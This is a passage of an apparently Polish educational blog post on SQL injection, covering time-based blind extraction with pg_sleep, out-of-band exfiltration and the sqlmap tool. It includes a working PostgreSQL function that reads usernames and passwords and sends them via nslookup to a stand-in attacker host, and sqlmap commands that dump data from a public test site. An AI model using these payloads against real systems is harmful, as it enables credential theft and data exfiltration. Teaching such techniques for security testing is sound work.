&lt;a href="#zgadywanie-przez-op%c3%b3%c5%banianie---time-delays" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Bywają takie sytuacje, że aplikacja nie poinformuje nas o wystąpieniu błędu w bazie danych w żaden sposób. Wracamy do pytań &lt;em>prawda&lt;/em> lub &lt;em>fałsz&lt;/em>, ale tym razem naszym wyznacznikiem udanego testu będzie czas, w jakim serwer zwróci odpowiedź. Spróbujemy wywołać opóźnienie (&lt;em>time delay&lt;/em>) tej odpowiedzi, na podstawie czego określimy, czy warunek został spełniony.&lt;/p>
&lt;p>Przykładowy payload dla PostgreSQL:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">case&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">when&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">substr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;a&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">then&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">pg_sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">else&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">pg_sleep&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">end&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">where&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;administrator&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Jeśli warunek &lt;code>substr(password, 1, 1)='a'&lt;/code> będzie prawdziwy, działanie aplikacji zostanie zatrzymane na 10 sekund. To opóźnienie to odpowiedź &lt;em>tak&lt;/em> na pytanie: &lt;em>czy pierwsza litera hasła to &amp;ldquo;a&amp;rdquo;?&lt;/em>&lt;/p>
&lt;p>Ten sposób jest najbardziej czasochłonny ze wszystkich, ale znaki w danym rekordzie sprawdzamy niezależnie od siebie, więc możemy je odgadywać równocześnie stosując w naszym exploicie mechanizm &lt;a href="https://www.techtarget.com/whatis/definition/multithreading"target="_blank" rel="noopener">wielowątkowości&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, przyspieszając proces pozyskiwania danych z bazy. Stosowanie wątków można oczywiście zastosować też do innych metod &lt;em>boolean-blind&lt;/em> omawianych wcześniej.&lt;/p>
&lt;h2>Out-of-Band Application Security Testing (OAST)&lt;span class="hx:absolute hx:-mt-20" id="out-of-band-application-security-testing-oast">&lt;/span>
&lt;a href="#out-of-band-application-security-testing-oast" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Czasem wszystkie powyższe metody zawodzą. Nie jesteśmy w stanie wywołać błędu, a próby spowalniania aplikacji nie udają się. Ostatnią deską ratunku może okazać się wysłanie wykradzionych informacji na zewnętrzny serwer będący pod kontrolą atakującego przy pomocy np. &lt;a href="https://www.cloudns.net/wiki/article/254/"target="_blank" rel="noopener">zapytań DNS&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Sposób wykonania tego typu ataku różni się drastycznie w przypadku różnych systemów zarządzania bazą danych. W PostgreSQL wykonanie zwykłego zapytania DNS wygląda tak:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">copy&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">to&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">program&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;nslookup oast.my-external-server.com&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Wydobycie danych tą metodą jest jednak trudniejsze i wymaga napisania trochę kodu:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="k">create&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">or&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">replace&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">function&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">returns&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">void&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">as&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="err">$$&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">declare&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">text&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">c&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">text&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">begin&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">into&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">||&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;-&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">||&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">from&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">c&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;copy (select &amp;#39;&amp;#39;&amp;#39;&amp;#39;) to program &amp;#39;&amp;#39;nslookup &amp;#39;&lt;/span>&lt;span class="o">||&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">||&lt;/span>&lt;span class="s1">&amp;#39;.oast.my-external-server.com&amp;#39;&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">execute&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">c&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">end&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="err">$$&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">language&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">plpgsql&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">security&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">definer&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">select&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">();&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;blockquote>
&lt;p>Ten oraz inne payloady tego typu można znaleźć w &lt;a href="https://portswigger.net/web-security/sql-injection/cheat-sheet"target="_blank" rel="noopener">&lt;em>ściądze&lt;/em> do SQL injection&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> ze strony &lt;a href="https://portswigger.net/web-security/sql-injection/cheat-sheet"target="_blank" rel="noopener">PortSwigger Web Security Academy&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;/blockquote>
&lt;p>Tworzymy funkcję, w której deklarujemy dwie zmienne tekstowe &lt;code>p&lt;/code> oraz &lt;code>c&lt;/code>. W pierwszej z nich umieszczamy pobrane z bazy dane, które planujemy wysłać, natomiast zmiennej &lt;code>c&lt;/code> przypisujemy polecenie wykonujące zapytanie DNS. Zawartość zmiennej &lt;code>p&lt;/code> doklejamy jako subdomenę do nazwy naszego odpowiednio skonfigurowanego serwera, a następnie wykonujemy to polecenie. Po zadeklarowaniu funkcji wywołujemy ją i w rezultacie wysyłamy zawartość bazy danych do zewnętrznego serwera.&lt;/p>
&lt;h2>Narzędzie sqlmap&lt;span class="hx:absolute hx:-mt-20" id="narzędzie-sqlmap">&lt;/span>
&lt;a href="#narz%c4%99dzie-sqlmap" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Umiejętność ręcznego wstrzykiwania SQL jest istotna, aby zrozumieć jak ten atak działa, jednak nic nie stoi na przeszkodzie, żeby po nabraniu wprawy ułatwić sobie życie korzystając z narzędzi automatyzujących to zadanie.&lt;/p>
&lt;p>Bardzo popularnym narzędziem służącym do przeprowadzania SQL injection jest &lt;a href="https://sqlmap.org/"target="_blank" rel="noopener">sqlmap&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> napisany w języku &lt;a href="https://www.python.org/"target="_blank" rel="noopener">Python&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Jest ono domyślnie zainstalowane w systemie &lt;a href="https://www.kali.org/"target="_blank" rel="noopener">Kali Linux&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>&lt;img src="./sqlmap.png" alt="sqlmap" loading="lazy" />
&lt;em>Testowanie aplikacji &lt;a href="http://testphp.vulnweb.com/search.php?test=query"target="_blank" rel="noopener">testphp.vulnweb.com&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> z wykorzystaniem narzędzia &lt;a href="https://sqlmap.org/"target="_blank" rel="noopener">sqlmap&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>Z jego pomocą można sprawdzić dostępne bazy danych w testowanym systemie:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>$ sqlmap -u http://testphp.vulnweb.com/search.php?test=query --batch --dbs&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>&lt;img src="./sqlmap_dbs.png" alt="sqlmap dbs" loading="lazy" />
&lt;em>Testowanie aplikacji &lt;a href="http://testphp.vulnweb.com/search.php?test=query"target="_blank" rel="noopener">testphp.vulnweb.com&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> z wykorzystaniem narzędzia &lt;a href="https://sqlmap.org/"target="_blank" rel="noopener">sqlmap&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>Jak również listować tabele i kolumny:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>$ sqlmap -u http://testphp.vulnweb.com/search.php?test=query --batch --tables -D acuart&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>&lt;img src="./sqlmap_tables.png" alt="sqlmap tabele" loading="lazy" />
&lt;em>Testowanie aplikacji &lt;a href="http://testphp.vulnweb.com/search.php?test=query"target="_blank" rel="noopener">testphp.vulnweb.com&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> z wykorzystaniem narzędzia &lt;a href="https://sqlmap.org/"target="_blank" rel="noopener">sqlmap&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>$ sqlmap -u http://testphp.vulnweb.com/search.php?test=query --batch --columns -T artists &lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>&lt;img src="./sqlmap_columns.png" alt="sqlmap kolumny" loading="lazy" />
&lt;em>Testowanie aplikacji &lt;a href="http://testphp.vulnweb.com/search.php?test=query"target="_blank" rel="noopener">testphp.vulnweb.com&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> z wykorzystaniem narzędzia &lt;a href="https://sqlmap.org/"target="_blank" rel="noopener">sqlmap&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>I wyświetlać wartości konkretnych rekordów:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>$ sqlmap -u http://testphp.vulnweb.com/search.php?test=query --batch -T artists -C aname --dump&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>&lt;img src="./sqlmap_dump.png" alt="sqlmap dump" loading="lazy" />
&lt;em>Testowanie aplikacji &lt;a href="http://testphp.vulnweb.com/search.php?test=query"target="_blank" rel="noopener">testphp.vulnweb.com&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> z wykorzystaniem narzędzia &lt;a href="https://sqlmap.org/"target="_blank" rel="noopener">sqlmap&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/em>&lt;/p>
&lt;p>Warto wzbogacić swój arsenał &lt;a href="https://www.comptia.org/content/articles/what-is-ethical-hacking"target="_blank" rel="noopener">&lt;em>etycznego hakera&lt;/em>&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> w &lt;code>sqlmap&lt;/code>, aby ułatwić i przyspieszyć swoją pracę. Dobrze jest jednak wiedzieć, jak dokładnie wyglądają różnie rodzaje wykorzystywania luk typu SQL injection, jeśli konieczne byłoby ręczne dostrojenie parametrów/narzędzie.&lt;/p>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Wstrzykiwanie kodu SQL to groźna podatność, którą można wykorzystać na wiele mniej lub bardziej karkołomnych sposobów. Bazy danych są &lt;em>apetycznym kąskiem&lt;/em> dla cyberprzestępców, ponieważ często zawierają wrażliwe informacje takie jak dane osobowe, które mogą sprzedać lub użyć w celu dalszego atakowania danej organizacji bądź użytkowników serwisu. Należy pamiętać o &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"target="_blank" rel="noopener">sprawdzaniu danych wejściowych&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
